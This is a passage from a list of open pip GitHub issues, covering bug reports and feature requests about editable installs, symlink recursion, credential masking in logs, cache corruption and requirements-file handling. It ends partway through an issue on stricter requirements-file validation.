Attempting to install a package via `pip install -e` a python package from a private gitlab.  Package installs and is usable/importable when installed normally (`pip3 install` it over `ssh` into `venv`).  However, it's under active development so it needs to be `--editable`

When i add the `-e` to the install in my `requirements.txt`, the install still succeeds, the code & links are all present (as I understand them) but the package is no longer importable with the venv `activate`d.  Pip bug?  bug in my setup?

In my `requirements.txt` (after install, `import asdf_lib` succeeds

```
# requirements.txt
git+ssh://git@gitlab.com/asdf/product/libraries/asdf-lib.git@v1.0.0#egg=asdf_lib&subdirectory=python-pkg
```

details from the install:

```
# during the `pip install -r ...` :
Collecting asdf_lib
  Cloning ssh://****@gitlab.com/asdf/product/libraries/asdf-lib.git (to revision v1.0.0) to /tmp/pip-install-pepvvw3o/asdf-lib
  Running command git clone -q 'ssh://****@gitlab.com/asdf/product/libraries/asdf-lib.git' /tmp/pip-install-pepvvw3o/asdf-lib
  Running command git checkout -q deadbeef

# `find . -name 'asdf*lib*'` prints
./venv/lib/python3.8/site-packages/asdf_lib
./venv/lib/python3.8/site-packages/asdf_lib-1.0.0.dist-info
```

but changing (deleting/reinstalling the venv) to `editable` results in `ModuleNotFoundError: No module named 'asdf_lib'`

```
# requirements.txt
 -e   git+ssh://git@gitlab.com/asdf/product/libraries/asdf-lib.git@v1.0.0#egg=asdf_lib&subdirectory=python-pkg
#^^^
```

details from the install

```
# during the `pip install -r ...`, this time with '-e' :
Obtaining asdf_lib from git+ssh://****@gitlab.com/asdf/product/libraries/asdf-lib.git@v1.0.0#egg=asdf_lib&subdirectory=python-pkg (from -r /home/me/repo/py-requirements-tooling.txt (line 46))
  Cloning ssh://****@gitlab.com/asdf/product/libraries/asdf-lib.git (to revision v1.0.0) to ./venv/src/asdf-lib
  Running command git clone -q 'ssh://****@gitlab.com/asdf/product/libraries/asdf-lib.git' /home/me/repo/venv/src/asdf-lib

# `find . -name 'asdf*lib*'` prints:
./venv/lib/python3.8/site-packages/asdf-lib.egg-link
./venv/src/asdf-lib
./venv/src/asdf-lib/python-pkg/src/asdf_lib
./venv/src/asdf-lib/python-pkg/asdf_lib.egg-info

# ll ./venv/lib/python3.8/site-packages | grep asdf
-rw-rw-r-- 1 me me     115 May 17 20:30 asdf-lib.egg-link

# cat ./venv/lib/python3.8/site-packages
/-theCorrectAbsPathToParent-/venv/src/asdf-lib/python-pkg
# with `ls -al` on this ^^^ path:
drwxrwxr-x 1 me me 104 May 18 10:46 asdf_lib.egg-info   # <-- dependency_links.txt  PKG-INFO  SOURCES.txt  top_level.txt
-rw-rw-r-- 1 me me 504 May 18 10:46 setup.py
drwxrwxr-x 1 me me  30 May 18 10:46 src
```

the git repo is as follows:

```
# tree
.
├── .git
├── python-pkg
│   ├── setup.py
│   └── src
│       └── asdf_lib
│           ├── configure_lib.py
│           ├── __init__.py
	    ...
└── README.md
```

and `setup.py` (again, WORKING if i do not use `--editable`)

```
setup(
    name="asdf-lib",
    description="...",
    version="1.0.0",
    # packages=find_packages(exclude=["test_*"]),
    packages=["asdf_lib"],
    package_dir={"asdf_lib": "src/asdf_lib"},
    author_email="me@asdf.com"
    )
```

the code is checked out where i'd expect in ~`venv/src`, and the `.egg-link` has a path that to the parent of `/src`, as dumped above


(worthwhile note: the above should be 100% correct code/text/output: it is direct copy from code/terminal with a `sed 's/-the-pii-/asdf/g'`)

### Expected behavior

package is importable in both editable and standard installs

### pip version

20.0.2

### Python version

Python 3.8.5

### OS

ubuntu 20.04 ~vanilla

### How to Reproduce

create the setup.py & trivial package as provided in detail above, install with/without editable

### Output

```sh-session
`ModuleNotFoundError: No module named 'asdf_lib'`
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bentheadset
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10052: state: open
title: Improve 'pip index versions' output to explain why it does not some versions visible on PyPI
body: Follow-up work to #8978. Quoting: https://github.com/pypa/pip/pull/8978#pullrequestreview-681592318

> A general note: The current implementation lists only applicable versions of a project, but that behaviour (same as `pip install` etc.) sometimes leads to a common user confusion: Why does pip not see a newly published version?
> 
> I guess the current impleemntation is probably good enough as an initial effort, but eventually we probably need to also list “found but not applicable” versions as well (and potentially also _why_ they are not applicable). I’m not sure how it can be done best, however.
user: uranusjr
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: index: The 'pip index' command
issue_10005: state: open
title: Infinite recursion caused by _copy_source_tree
body: ### Description

When you have a recursive symlink inside your source tree, `_copy_source_tree` will endup stuck forever. Such recursive symlinks are common in temp folders, like .tox but it seems that .tox already has a special treatment being excluded.

One question is why we do need `symlinks=True` when calling shutil.copytree?

### Expected behavior

Be able to install packages regardless if current repository has or not recursive symlinks.

The fact that .tox is excluded does hide the fact that installing current package as editable within tox would likely create a similar kind of problem.

These symlinks are needed for numerous reasons and we cannot really avoid them. Instead we should assure that _copy_source_tree does never endup trying to perform impossible tasks.

https://github.com/pypa/pip/blob/7ec0fa5142466f8402bb866a1dcfb8ca6ffdc66b/src/pip/_internal/operations/prepare.py#L130

### pip version

21.1.1

### Python version

3.9.4

### OS

MacOS

### How to Reproduce

Inside a repository create a recursive symlink:
```
mkdir .cache
ln -s ../.. .cache/foo
```

The existence of this file should not affect packaging but it does, at least for some installation methods.

### Output

I was able to identify where the endless loop was happening by running pip with `python -mtrace --trace --module pip install . >big.log`. The interesting bit captured can be seen at https://gist.github.com/ssbarnea/1af810ec6f87a7c5fde7f1f963798421

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ssbarnea
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10000: state: open
title: Docs should set highlight_language to "none"
body: ### Description

Code snippets in the docs are currently highlighted as python code (due to sphinx' default `highlight_language`), even though they are typically either shell snippets or correspond to no language at all (e.g., excerpts of requirements files).  This causes highlighting that can be confusing for newcomers e.g. at https://pip.pypa.io/en/stable/cli/pip_install/#git

Instead, docs/html/conf.py could e.g. set `highligh_language = "none"` to avoid this (I haven't looked through the entire docs but I assume snippets that need to be highlighted as Python are rare).

### Expected behavior

_No response_

### pip version

21.1.1

### Python version

N/A

### OS

N.A

### How to Reproduce

Docs issue, see e.g. https://pip.pypa.io/en/stable/cli/pip_install/#git.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: anntzer
labels: type: docs: Documentation related
issue_9992: state: open
title: Enhancement request: finer granularity for cache control -> cache only package metadata
body: **What's the problem this feature will solve?**

Currently, the pip cache can be only on or off. Both conditions have significant disadvantages:

- Cache on: the cache can easily grow too big for certain systems, such as cheap laptops that come with limited SSD space out of the box and for which the SSD may be not upgradable. Similar situation occurs with many minicomputers, SBCs, etc.
- Cache off: pip keeps downloading packages over and over even if there is nothing to upgrade. For instance see bug #9978.

**Describe the solution you'd like**

Being able to cache just the package metadata would be an excellent compromise. Limited space usage and data readily available for dependency checks.


<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

Ann has a cheap laptop that she uses on travel. It is not fast, but it is OK for the occasional development work she may need to do while traveling. To this aim, she often needs a fully up to date environment which ends up in `pip install -U` often with the `--upgrade-strategy=eager` option. The machine has very limited SSD space, so it is not possible to cache all the python packages. At the same time, the dependency resolver in `pip`, particularly with the `eager` strategy needs to verify many things about multiple package versions. For this reason, without the cache, `pip` ends up downloading packages every time it is invoked, often downloading the same packages multiple times (for different versions). This happens even to verify that the system is actually up to date. Unfortunately, while traveling the connection may get expensive or slow. Hence, these multiple downloads would much better be avoided. 

Joe has a minicomputer used as a microserver at home. Even if the microcomputer has some large external disks, it is nice to keep only data there (photos, videos, documents, music, etc.) maintaining the system and devel stuff on the internal disk that is small. Hence the cache must be off. When downloading multiple times some packages, just to do dependency checks, `pip` stresses for no reason the internet connection of the house, making all the other internet activity slowlier or 'skippier' if is about streaming.

Philip works with SBCs such as the raspi, orange pis, pine boards and so on, often on mobile connection. There the resources are really limited. Large caching and large downloads should really be avoided.

**Alternative Solutions**

None I can think of apart from resolving dependecies on another machine reachable via SSH and then 'duplicating' the environment locally.

**Additional context**

None
user: callegar
issue_9990: state: open
title: Fix --user --editable installs for pep-517
body: Hi!

This is just a quick fix based on @uranusjr comment [here](https://github.com/pypa/pip/issues/7953#issuecomment-782580787). I haven't really started digging deep into the source. Let me know if this is a proper solution and if I should look into writing some unit tests.

Fixes: #7953
user: SimonSegerblomRex
issue_9974: state: open
title: Don't disclose empty passwords.
body: Empty passwords can be associated with access tokens. Avoid disclosing them.

Fix #9973

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: ioggstream
labels: C: logging: Information Logging
issue_9973: state: open
title: Disclosure of empty passwords
body: ### Description

When I install from an index using an empty password, eg

```
pip install  foo --extra-index-url https://$TOKEN:@repo.example
```

I get

```
Looking in indexes: https://pypi.org/simple, https://$TOKEN:@repo.example
```


### Expected behavior

No credentials disclosed, eg

```
Looking in indexes: https://pypi.org/simple, https://****@repo.example
```


### pip version

21.1.1

### Python version

3.8

### OS

Linux

### How to Reproduce

1. run 

```
pip install  foo --extra-index-url https://mytoken:@repo.example |& grep mytoken
```



### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ioggstream
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9964: state: open
title: `pip install` can cache invalid wheels when the cache directory fills up
body: ### Description

If there's not enough space left available in the user's cache directory for a wheel that has just been successfully built in a temp directory on a different disk, then this attempt to copy the built wheel into the cache directory fails:
https://github.com/pypa/pip/blob/e6414d6db6db37951988f6f2b11ec530ed0b191d/src/pip/_internal/wheel_builder.py#L276

Because moving files across disks is done by first copying the file then removing the original, this can result in an incomplete copy and an `ENOSPC` `OSError` being raised. The `OSError` is caught by pip, but the exception handler doesn't attempt to handle this case and clean up after it. Future runs of `pip` can then find this invalid, incomplete `.whl` file in the wheel cache, and go on to fail with `zipfile.BadZipFile: File is not a zip file`

### Expected behavior

If writing the wheel file into the cache fails, `pip` should clean up after itself so the truncated file can't be found by future `pip install` calls.

### pip version

master

### Python version

3.9

### OS

Linux

### How to Reproduce

This was surprisingly difficult to reproduce, but I managed to get it by doing:

```sh
mkdir /tmp/too_small
sudo mount -t tmpfs -o size=400K tmpfs /tmp/too_small
python3.9 -m venv /tmp/venv
. /tmp/venv/bin/activate
pip --cache-dir=/tmp/too_small install --no-binary python-dateutil python-dateutil==2.8.1
python -m zipfile -l /tmp/too_small/wheels/*/*/*/*/python_dateutil*.whl
```

### Output

```sh-session
$ mkdir /tmp/too_small
$ sudo mount -t tmpfs -o size=400K tmpfs /tmp/too_small
$ python3.9 -m venv /tmp/venv
$ . /tmp/venv/bin/activate
(venv) $ pip --cache-dir=/tmp/too_small install --no-binary python-dateutil python-dateutil==2.8.1
Looking in indexes: https://artprod.dev.bloomberg.com/artifactory/api/pypi/bloomberg-pypi/simple
Collecting python-dateutil==2.8.1
  Downloading https://artprod.dev.bloomberg.com/artifactory/api/pypi/bloomberg-pypi/packages/packages/be/ed/5bbc91f03fa4c839c4c7360375da77f9659af5f7086b7a7bdda65771c8e0/python-dateutil-2.8.1.tar.gz (331 kB)
     |████████████████████████████████| 331 kB 2.6 MB/s
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Collecting six>=1.5
  Downloading https://artprod.dev.bloomberg.com/artifactory/api/pypi/bloomberg-pypi/packages/packages/d9/5a/e7c31adbe875f2abbb91bd84cf2dc52d792b5a01506781dbcf25c91daf11/six-1.16.0-py2.py3-none-any.whl (11 kB)
Building wheels for collected packages: python-dateutil
  Building wheel for python-dateutil (PEP 517) ... done
  WARNING: Building wheel for python-dateutil failed: [Errno 28] No space left on device: '/tmp/pip-wheel-kygit9c7/python_dateutil-2.8.1-py2.py3-none-any.whl' -> '/tmp/too_small/wheels/ed/3a/11/f3c3a429e4e3d97c7003108cca4a71a45a3f2ac87be8e3b11a/python_dateutil-2.8.1-py2.py3-none-any.whl'
Failed to build python-dateutil
ERROR: Could not build wheels for python-dateutil which use PEP 517 and cannot be installed directly
(venv) $ python -m zipfile -l /tmp/too_small/wheels/*/*/*/*/python_dateutil*.whl
Traceback (most recent call last):
  File "/opt/bb/lib/python3.9/runpy.py", line 197, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/opt/bb/lib/python3.9/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/opt/bb/lib/python3.9/zipfile.py", line 2428, in <module>
    main()
  File "/opt/bb/lib/python3.9/zipfile.py", line 2394, in main
    with ZipFile(src, 'r') as zf:
  File "/opt/bb/lib/python3.9/zipfile.py", line 1257, in __init__
    self._RealGetContents()
  File "/opt/bb/lib/python3.9/zipfile.py", line 1324, in _RealGetContents
    raise BadZipFile("File is not a zip file")
__main__.BadZipFile: File is not a zip file
(venv) $
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: godlygeek
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9950: state: open
title: Idea: Ask “Would you be interested in submiting a PR?” in the feature request template
body: I’ve been involved in apache/airflow recently and noticed they do this in their template. This has a few nice effects from what I can see:

* Most obviously, the submitter is automatically asked if they are interested in contributing, which is always a good thing.
* It signals that feature requests don’t come for free, and users should not take it for granted pip maintainers are willing to work on them (even if they make sense).
* Maintainers can choose more confidently whether to engage. If the user is not willing to send a PR, there’s no need to bother unless maintainers are interested in the idea themselves. A user willing to contribute code will be more likely to follow up in the conversation.

I haven’t thought of downsides, but maybe there are that I missed.
user: uranusjr
labels: type: maintenance: Related to Development and Maintenance Processes
issue_9948: state: open
title: --no-deps flag inside requirements.txt
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
I try to run `pip install -r requirements.txt` but I'd like one of the packages to be installed without dependencies.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Make --no-deps flag work inside `requirements.txt`

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
I use AWS Elastic Beanstalk's Python platform. It installs all the packages from `requirements.txt` during deployment of user's code. One of the packages I use is `aiopg` and I don't want it to install `psycopg2-binary` since it is not recommended for use in production. I have the original `psycopg2` package in `requirements.txt` along with another `aiopg`'s dependency `async-timeout` and that should be enough for `aiopg` to work smoothly.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
I can't find any workaround for this problem.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: sergei3000
labels: type: feature request: Request for a new feature
issue_9943: state: open
title: [Security] Ask for confirmation if "pip install pyproject.toml" or similar indicates wrong unsage
body: **What's the problem this feature will solve?**
People sometimes execute commands like the following and are surprised of the behavior:

* pip install pyproject.toml
* pip install requirements.txt 

This also has the potential to install malware as [pyproject.toml](https://pypi.org/project/pyproject-toml/) and [requirements-dev.txt](https://pypi.org/project/requirements-dev.txt/). The `requirements.txt` cannot be registered and triggers "The name 'requirements.txt' isn't allowed. See https://pypi.org/help/#project-name for more information."

**Describe the solution you'd like**

1. User enters "pip install foobar"
2. pip checks if "foobar" is a file in the current directory
3. If it is, ask for confirmation if the project from pypi (given the link) should be installed or if the local file should be used (abort)

user: MartinThoma
issue_9939: state: open
title: docs: Add footer for the community to the feature-request template
body: I suggest to add the footer to the feature request template.

* This works great for the statistics by the features (you can use "Sort by reactions")
* This clears the comments

No news file required.

## For community
⬇️  **Please click the 👍 reaction instead of leaving a `+1` or 👍  comment**

user: anki-code
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
needs rebase or merge: PR has conflicts with current master
issue_9938: state: open
title: Allow to set the list of optional dependencies that will be installed by default
body: **What's the problem this feature will solve?**

The problem is that we can't set the dependencies that will be installed by default but will not be installed in case of choosing `extras_require`.

For example we have `mypackage` that could work with optional `mydependency` package. When we run `pip install mypackage` we want to install `mydependency`. But when we run `pip install mypackage[minimal]` we want to install only `mypackage`.

Current logic of `install_requires` and `extras_require` can't do this.

In real world this behavior is required at least by [xonsh shell project](https://github.com/xonsh/xonsh/). When we run `pip install xonsh` we want to give the best experience to the user by installing all packages and extensions. When we run `pip install xonsh[min]` we want to install minimal pack of dependencies (this useful for docker containers, testing environments and scripting on xonsh).

**Describe the solution you'd like**

We can allow to set the special name for the default extra dependencies in the `extras_require`:
```python
import setuptools
setuptools.setup(
    name="mypackage",
    version="0.0.1",
    install_requires=['my-required-package'],
    extras_require={
        'DEFAULT': ['my-package1', 'my-package2'],
        'min': ['my-package3']
    }
)
```
In this case we will have this behavior:
```python
pip install mypackage
# Installation of mypackage, my-required-package, my-package1, my-package2

pip install 'mypackage[min]'
# Installation of mypackage, my-required-package, my-package3

pip install 'mypackage[DEFAULT,min]'
# Installation of mypackage, my-required-package, my-package1, my-package2, my-package3
```

**Alternative Solutions**

I tried to set empty name to `extras_require` i.e. `extras_require={'':['my-package1']}` but got an error:

```python
pip install mypackage
# ERROR: pip's dependency resolver does not currently take into account all the packages 
# that are installed. This behaviour is the source of the following dependency conflicts.
# mypackage 0.0.1 requires my-package1, which is not installed.
```

## For community
⬇️  **Please click the 👍 reaction instead of leaving a `+1` or 👍  comment**

user: anki-code
issue_9909: state: open
title: Support installing scripts to custom location
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

My team has been leveraging some custom [Conan packages](https://github.com/conan-io/conan/issues/8626) to deliver and ship various Python scripts and utilities for use in our build process.

In order to achieve this, we package each utility in its own venv and use ` --install-option="--install-scripts=/custom/path/"` to install the scripts to a custom folder that later gets added to PATH. 

We do this because we want our scripts added to PATH (e.g. `sphinx-build.exe`), but we don't want to pollute path with different `python.exe` / `pip.exe` from each venv.

Lately, we've started seeing:

> UserWarning: Disabling all use of wheels due to the use of --build-option / --global-option / --install-option.
cmdoptions.check_install_build_global(options)
> DEPRECATION: Location-changing options found in --install-option: ['--install-scripts'] from command line. This configuration may cause unexpected behavior and is unsupported. pip 20.2 will remove support for this functionality. A possible replacement is using pip-level options like --user, --prefix, --root, and --target. You can find discussion regarding this at https://github.com/pypa/pip/issues/7309.

What's the supported approach for achieving this behavior that's seemingly removed in pip 20.2+ ?

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

Ideally, a new flag that restored the old `--install-option="--install-scripts=/custom/path/"` behavior and provided a way to modify the script installation location.

Then we can continue using that type of mechanism from within our Conan packages to install our scripts to a separate folder from the remainder of the venv.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

Without direct support from pip, we could explore other ideas:

Using the [prefix](https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-prefix) command, installing to some folder w/in our package, and then creating a simlink at <package/bin> to point to the utility scripts we care about. 

I'm pretty confident our tooling knows the location of each script / entry point, so I think we could just as easily copy the files to a separate folder too.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->


> @chrahunt I've been looking along this thread and haven't been able to find my answer, hopefuly you can give me an answer :)
> I previously legeraged --install-option="--install-scripts=/custom/path/" to deploy only scripts to a specific location but this is > now rejected with the recents updates.
> Is there still a way through pip to install scripts to a custom location without moving the whole package ?
>
>Thank you

https://github.com/pypa/pip/issues/7309#issuecomment-669382943

Based on the discussion in #7309, I'm not sure if anyone ever formally created a feature request to explore restoring the `--install-scripts` install option that was removed or determine how to achieve similar behavior using supported means. So I'm opening this issue as a formal request : )

I tried searching, but couldn't find anything that looked directly related. Please feel free to close if this is a duplicate or if this is functionality you no longer wish to support.

Cheers!
Ryan


user: thorntonryan
issue_9908: state: open
title: Special Case Install Warning for Literal Package Name "requirements.txt"
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
I work in a technical support / system administration role for students and an extremely common issue they have is accidentally misusing the `pip install` command like this:

```
$ pip install requirements.txt
ERROR: Could not find a version that satisfies the requirement requirements.txt (from versions: none)
ERROR: No matching distribution found for requirements.txt
```

They of course want to install the packages **listed in** `requirements.txt`, and not the literal package named `requirements.txt` (there is none). As such they should be doing `pip install -r requirements.txt` (adding the `-r` flag), but this is not immediately obvious for beginners.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

I understand that you can't really hold people's hand for everything, and at a certain point, the user is responsible for investigating issues themselves, but this one keeps coming up and I think it is a rather low hanging fruit. I think it would be reasonable to include a special case error message when attempting to install a package that is literally named `requirements.txt`.

```
$ pip install requirements.txt
ERROR: Could not find a version that satisfies the requirement requirements.txt (from versions: none)
ERROR: No matching distribution found for requirements.txt
INFO: You are attempting to install a package literally named "requirements.txt".
INFO: You might want `pip install -r requirements.txt` to install packages listed in a file.
```

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->



**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
This sort of diagnostic is frequently issued by compilers when the developer attempts to write something very close to an idiomatic expression. For example, C compilers will generally warn when using an unknown symbol that is 1 letter away from a common symbol (`kread`: no such symbol, did you mean `read`?).

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

`pip install -r requirements.txt` is such a common idiom, and in my experience is frequently mis-remembered as `pip install requirements.txt`. For this reason, I suggest special casing the standard error message and adding an additional line suggesting the idiomatic use.

I would be happy to tackle this issue myself (it should be a relatively trivial fix), but I wanted to know what people think before getting to work. Thanks for your time.
user: briantracy
issue_9884: state: open
title: Only install pre-release rc versions and ignore other(including development and stable) versions when with option --rc
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Sometimes, we want to only install `rc` versions on our release branch. We want to use `somepackage>=1.1.2rc1` and expect it to install the latest `rc` version `1.2.3rc1`, though we have `1.1.2rc1, 1.2.0rc1, 1.2.0, 1.2.1a1, 1.2.1, 1.2.2a1, 1.2.2, 1.2.3a1, 1.2.3rc1, 1.2.3`. Our versions all follow the specification on [semver.org](https://semver.org/) . 

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Add an option `--rc` to make pip only consider `rc` version and ignore **stable as well as development** versions.
<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
Not found yet.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
From the semver.org, the precedence is something like the following example.
Example: 1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-alpha.beta < 1.0.0-beta < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0.

On my release and development branch, I tried to use `pip install --pre somepackage>=1.1.2rc1` but it installed the latest stable version `1.2.3` for me. What I want is `1.2.3rc1`.

user: zengqingfu1442
issue_9876: state: open
title: History of pip commands (install/uninstall)
body: **What's the problem this feature will solve?**

Allow one to investigate package dependencies issues based on pip installation/commands history.

**Describe the solution you'd like**

I would like pip to record in a kind of history file for each install/uninstall action it executes.

user: gst
labels: type: feature request: Request for a new feature
issue_9829: state: open
title: Document and tidy up CI
body: > Let's capture all of this in an open issue though, instead of a closed PR.

_Originally posted by @pradyunsg in https://github.com/pypa/pip/issues/9826#issuecomment-826073539_

Things that should probably be documented:

1. How the code that skips tests when a PR doesn't touch certain files works.
2. What our policy is on using 3rd party github actions.
3. The `New-RAMDisk.ps1` script - assuming it was copied from somewhere else on the web, let's add a link. If someone wrote it from scratch, let's document what it's doing and why!

Some of these can be done as comments in the code, but I'd suggest we have a section on the CI in the internal docs, even if it's only brief at the moment, it will act as a place to collect information over time.

Also one item to improve:

* Consolidate the check on when to run given tests into the `determine-changes` action, so we don't need to check if we're in a PR all over the place. 
user: pfmoore
issue_9823: state: open
title: Different resolution failure messages on different verbosity
body: * pip version: 21.0.1
* Python version: 3.6 (but 3.7 and 3.8 have the same problem)
* Operating system: Linux (Debian buster docker image) 

PIP 21.0.1 sometimes produces wrong error about  conflicts , and it produces different (correct!) error when `-vvvv` options are added.

This problem originated with https://github.com/apache/airflow/issues/15463 (you can see history of it there). We have quite complex dependencies in Airlfow and we are still recommending people to install airflow with PIP 20.2.4, but we are hoping to get rid of that limitation, one problem however was a very strange one and we did not have time to look at it - but when I looked today I realized that the error printed by PIP was misleading (as I could not see the reason for the original error). 

I believe PIP instead of `pyarrow` reports `google-cloud-bigquery-storage` as having a problem. Looks like instead of printing the actual dependency that has a problem, it prints the "sibling" of that dependency (or smth like that).

It is very easily reproducible: 

1) Run: `pip install apache-airflow[google]==2.0.2 --constraint https://raw.githubusercontent.com/apache/airflow/constraints-2.0.2/constraints-3.6.txt`

You should get an error:

```
ERROR: Could not find a version that satisfies the requirement google-cloud-bigquery-storage<2.0.0dev,>=1.0.0; extra == "bqstorage" (from google-cloud-bigquery[bqstorage,pandas])
```

2) Run `pip install -vvvv apache-airflow[google]==2.0.2 --constraint https://raw.githubusercontent.com/apache/airflow/constraints-2.0.2/constraints-3.6.txt`

You should get an error: 

```
ERROR: Could not find a version that satisfies the requirement pyarrow<2.0dev,>=1.0.0; extra == "bqstorage" (from google-cloud-bigquery[bqstorage,pandas])
ERROR: No matching distribution found for pyarrow<2.0dev,>=1.0.0; extra == "bqstorage"
```

I believe in both cases we ONLY have problem with `pyarrow`, and it is misreported without the `-vvvv` flag. Looks like instead of actual dependency that is wrong (`pyarrow`), the sibling of that dependency (`google-cloud-bigquery-storage`) is printed out by PIP. Note that other than the dependency - those are the very same limits which are problematic (<2.0.0dev,>=1.0.0; extra == "bqstorage"). 

I also could not find any other packages from those being installed where `google-cloud-bigquery-storage` would be limited to `<2.0.0dev,>=1.0.0`  - that's why I think this is a bug in PIP.

Gists with the outputs to compare

`pip install apache-airflow[google]==2.0.2 --constraint https://raw.githubusercontent.com/apache/airflow/constraints-2.0.2/constraints-3.6.txt` :

Here: https://gist.github.com/potiuk/04f6127469a709e3e47be7585c9a863c

`pip install -vvvv apache-airflow[google]==2.0.2 --constraint https://raw.githubusercontent.com/apache/airflow/constraints-2.0.2/constraints-3.6.txt`:

https://gist.github.com/potiuk/17a3d591fb091bdd8a0e213f49b6b0af

I might be wrong, of course, but it looks like this.

UPDATE: 

I run it with `-vv` and it fails with the 'google-cloud-bigquery-storage` error:
https://gist.github.com/potiuk/2f9af6a8eaac7ea393fd1f9fe64361c7

The `-v` and `-vvv` both fail with `pyarrow` error.

In neither of those I can find where the `google-cloud-bigquery-storage<2.0.0dev,>=1.0.0; extra == "bqstorage" (from google-cloud-bigquery[bqstorage,pandas])` comes from :(. 


user: potiuk
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
issue_9811: state: open
title: Cannot install tensorflow and tensorflow==2.3.1 because these package versions have conflicting dependencies.
body: ### Description

I need to install tensorflow 2.3.1 but I got his message. Any help?
!pip install -U tensorflow==2.3.1
pip3 install -U tensorflow install -U tensorflow==2.3.1
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple
Requirement already satisfied: tensorflow in /home/pi/.local/lib/python3.7/site-packages (0.11.0)
Collecting install
  Using cached https://www.piwheels.org/simple/install/install-1.3.4-py3-none-any.whl (3.1 kB)
ERROR: Cannot install tensorflow and tensorflow==2.3.1 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested tensorflow
    The user requested tensorflow==2.3.1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies

### Expected behavior

_No response_

### pip version

(21.0.1)

### Python version

Python 3.7.3

### OS

MAC

### How to Reproduce

pip3 install -U tensorflow install -U tensorflow==2.3.1



### Output

```sh-session
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple
Requirement already satisfied: tensorflow in /home/pi/.local/lib/python3.7/site-packages (0.11.0)
Collecting install
  Using cached https://www.piwheels.org/simple/install/install-1.3.4-py3-none-any.whl (3.1 kB)
ERROR: Cannot install tensorflow and tensorflow==2.3.1 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested tensorflow
    The user requested tensorflow==2.3.1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pifparfait
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9807: state: open
title: Add warning when build_wheel_legacy is called with build_options or global_options
body: To keep track of https://github.com/pypa/pip/pull/9774#issuecomment-814901552
user: sbidoul
labels: C: build logic: Stuff related to metadata generation / wheel generation
issue_9791: state: open
title: Stricter validation for requirements files
body: Pip currently is fairly relaxed about bad input in requirements.txt, found two specific instances of this:

- multiple options on the same line, for example, an editable and a constraint (found in https://github.com/tox-dev/tox/issues/1929)
  ```
  -e .[test] -c https://zopefoundation.github.io/Zope/releases/4.5.4/requirements-full.txt
  ```
  picks the first option, ignore the rest.

